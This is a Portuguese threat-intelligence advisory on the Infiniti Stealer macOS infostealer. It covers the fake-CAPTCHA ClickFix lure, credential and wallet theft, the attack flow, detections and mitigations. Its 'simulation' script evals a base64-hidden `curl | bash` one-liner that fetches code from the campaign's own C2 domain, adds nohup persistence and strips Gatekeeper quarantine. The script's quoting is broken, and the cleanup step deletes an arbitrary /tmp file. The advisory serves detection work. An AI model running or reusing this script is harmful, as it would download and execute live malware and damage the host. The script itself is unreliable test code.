Infiniti Stealer: um novo infostealer para macOS usando ClickFix e Python/Nuitka
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um novo ladrão de informações do macOS identificado como Infiniti Stealer foi visto usando uma isca de engenharia social ClickFix para infectar usuários. O malware é construído com Nuitka, que converte código Python em um binário Mach-O nativo, tornando a inspeção estática mais difícil. Uma vez executado, ele rouba credenciais, dados do Keychain, arquivos de carteiras de criptomoedas e outras informações sensíveis, e então exfiltra os dados coletados por meio de requisições HTTP POST. A campanha também se baseia em uma página CAPTCHA falsa hospedada em um domínio malicioso para enganar as vítimas a executarem um comando Bash prejudicial.
Investigação
Pesquisadores descobriram a carga maliciosa durante uma caçada rotineira de ameaças e a rastrearam inicialmente sob o nome temporário NukeChain antes que o painel do ator da ameaça expusesse a marca final como Infiniti Stealer. A análise revelou um fluxo de três etapas: um Bash dropper entregue por meio de um CAPTCHA falso, um loader compilado com Nuitka, e um módulo de roubo baseado em Python. O dropper coloca o binário em /tmp, remove o atributo de quarentena e o executa enquanto passa detalhes de C2 por meio de variáveis de ambiente. A etapa final coleta dados de navegadores, Keychain, carteiras e arquivos relacionados a desenvolvedores antes de enviá-los para o servidor controlado pelo atacante.
Mitigação
Os usuários nunca devem copiar e executar comandos de sites desconhecidos, especialmente páginas que fingem verificar desafios CAPTCHA. Os defensores devem inspecionar e remover arquivos suspeitos em /tmp or ~/Library/LaunchAgents, executar uma varredura antimalware confiável e trocar senhas para quaisquer contas potencialmente expostas a partir de um sistema limpo. Quaisquer tokens ativos de API ou chaves SSH que possam ter sido coletados também devem ser revogados.
Resposta
As equipes de detecção devem monitorar o script dropper e o binário compilado com Nuitka observando a criação de arquivos em /tmp que correspondam ao padrão de nomenclatura descrito. Alertas devem ser acionados na execução do comando Bash malicioso e no tráfego HTTP POST de saída para o domínio C2 identificado. O acesso à rede para update-check.com and infiniti-stealer.com deve ser bloqueado. Uma revisão forense baseada no host deve então identificar credenciais roubadas e apoiar redefinições obrigatórias de credenciais.
"graph TB %% Definições de classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Definições de nós action_initial_access["<b>Ação</b> – <b>T1204.004 Execução do Usuário: Copiar e Colar Malicioso</b><br/><b>Descrição</b>: A vítima copia e cola um comando malicioso em um terminal, levando à execução de código."] class action_initial_access action artifact_captcha_page["<b>Artefato</b> – <b>Página CAPTCHA falsa</b><br/>URL: update-check.com<br/>Fornece comando de cópiar-u2011colar para a vítima."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Ação</b> – <b>T1102.001 Serviço Web: Resolvedor Dead Drop</b><br/><b>Descrição</b>: Usa um serviço web como um dead-u2011drop para recuperar cargas adicionais."] class action_execution_dead_drop action process_curl_download["<b>Processo</b> – <b>curl</b><br/><b>Comando</b>: curl -sSfL … | bash<br/>Baixa o dropper Bash da etapa-u20111."] class process_curl_download process artifact_temp_binary["<b>Artefato</b> – <b>Binário Temporário</b><br/>Localização: /tmp/<br/>Flag de quarentena removido após o download."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Ação</b> – <b>T1497.002 Verificações de Atividade do Usuário</b> & <b>T1497.003 Evasão Baseada em Tempo</b><br/><b>Descrição</b>: Detecta virtualização ou ambientes de análise antes de prosseguir."] class action_defense_evasion_sandbox action action_guardrails["<b>Ação</b> – <b>T1480.002 Guardrails de Execução: Exclusão Mútua</b><br/><b>Descrição</b>: Garante que apenas uma instância seja executada no host."] class action_guardrails action action_file_deletion["<b>Ação</b> – <b>T1070.004 Exclusão de Arquivo</b><br/><b>Descrição</b>: Exclui arquivos temporários e logs após o uso."] class action_file_deletion action action_obfuscation["<b>Ação</b> – <b>T1027.005 Arquivos ou Informações Ofuscadas</b><br/><b>Descrição</b>: Usa ofuscação para ocultar cargas maliciosas."] class action_obfuscation action action_collection_input_capture["<b>Ação</b> – <b>T1056 Captura de Entrada</b><br/><b>Descrição</b>: Captura credenciais de navegadores, entradas de keychain, dados de carteiras de criptomoedas e capturas de tela."] class action_collection_input_capture action artifact_collected_data["<b>Artefato</b> – <b>Dados Sensíveis Coletados</b><br/>Credenciais de navegador, entradas de keychain, arquivos de carteiras de criptomoedas, capturas de tela."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Ação</b> – <b>T1048 Exfiltração por Protocolo Alternativo</b><br/><b>Descrição</b>: Envia dados via HTTP POST para um servidor remoto."] class action_exfiltration_alternative action artifact_c2_domain["<b>Artefato</b> – <b>Domínio C2</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Artefato</b> – <b>Notificação do Telegram</b><br/>O atacante recebe atualizações de status via Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Ação</b> – <b>T1570 Transferência de Ferramenta Lateral</b><br/><b>Descrição</b>: Baixa cargas adicionais sob demanda para comprometimento adicional."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Artefato</b> – <b>Cargas Adicionais</b><br/>Baixado conforme necessário para etapas posteriores."] class artifact_additional_payload artifact %% Conexões mostrando fluxo action_initial_access –>|entrega| artifact_captcha_page artifact_captcha_page –>|aciona| action_execution_dead_drop action_execution_dead_drop –>|usa| process_curl_download process_curl_download –>|escreve| artifact_temp_binary artifact_temp_binary –>|permite| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|inclui| action_guardrails action_defense_evasion_sandbox –>|inclui| action_file_deletion action_defense_evasion_sandbox –>|inclui| action_obfuscation action_file_deletion –>|remove| artifact_temp_binary action_obfuscation –>|ofusca| artifact_temp_binary action_defense_evasion_sandbox –>|leva a| action_collection_input_capture action_collection_input_capture –>|captura| artifact_collected_data artifact_collected_data –>|enviado via| action_exfiltration_alternative action_exfiltration_alternative –>|alvos| artifact_c2_domain artifact_c2_domain –>|notifica| artifact_telegram_notification action_exfiltration_alternative –>|permite| action_lateral_tool_transfer action_lateral_tool_transfer –>|baixa| artifact_additional_payload "
Fluxo de Ataque
Detecções
Possível Evasão de Defesa Bypassing MacOS Gatekeeper (via linha de comando)
Visualizar
Possível Manipulação de Strings Codificadas em Base64 [MacOS] (via linha de comando)
Visualizar
Tentativa Suspeita de Execução do Curl [MacOS] (via linha de comando)
Visualizar
IOCs (HashMd5) para detectar: Infiniti Stealer: um novo ladrão de informações do macOS usando ClickFix e Python/Nuitka
Visualizar
IOCs (HashSha256) para detectar: Infiniti Stealer: um novo ladrão de informações do macOS usando ClickFix e Python/Nuitka
Visualizar
Detecção de Infecção por Infiniti Stealer via Execução de Comando Terminal [Criação de Processo em Linux]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.
Narrativa e Comandos de Ataque
Um invasor entrega um link de phishing que, ao ser aberto em uma estação de trabalho macOS, executa a seguinte linha única no Terminal. O comando:
- Baixa uma URL codificada em base64 (o host da carga) via
curl -sSfL. - Decodifica a string base64 para revelar a URL HTTPS real.
- Executa o script baixado com
bash. - Executa sob
nohuppara mantê-lo vivo após o terminal ser fechado. - Remove o atributo de quarentena (
xattr -dr com.apple.quarantine) para evitar o Gatekeeper.
Esses passos produzem os fragmentos exatos de linha de comando que a regra Sigma está monitorando, gerando assim o alerta esperado.
Script de Teste de Regressão
#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulação de infecção por Infiniti Stealer (macOS)
# ------------------------------------------------------------
# 1. Construir a linha única maliciosa (exatamente como a regra espera)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"
# 2. Auxiliares de persistência opcionais (incluídos na detecção)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"
# 3. Executar o comando
eval "$MALICIOUS_CMD"
# 4. Esperar alguns segundos para permitir a ingestão pelo SIEM
sleep 5
# 5. Saída de um marcador para verificação manual
echo ">>> Simulação executada – monitorar SIEM para alerta <<<"
Comandos de Limpeza
#!/usr/bin/env bash
# ------------------------------------------------------------
# Limpeza após simulação de Infiniti Stealer
# ------------------------------------------------------------
# Encerrar quaisquer processos nohup em segundo plano iniciados pela simulação
pkill -f "bash <(curl -sSfL"
# Remover quaisquer arquivos temporários que possam ter sido criados
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Restaurar atributo de quarentena no Terminal (opcional, por higiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "Limpeza concluída."
Fim do Relatório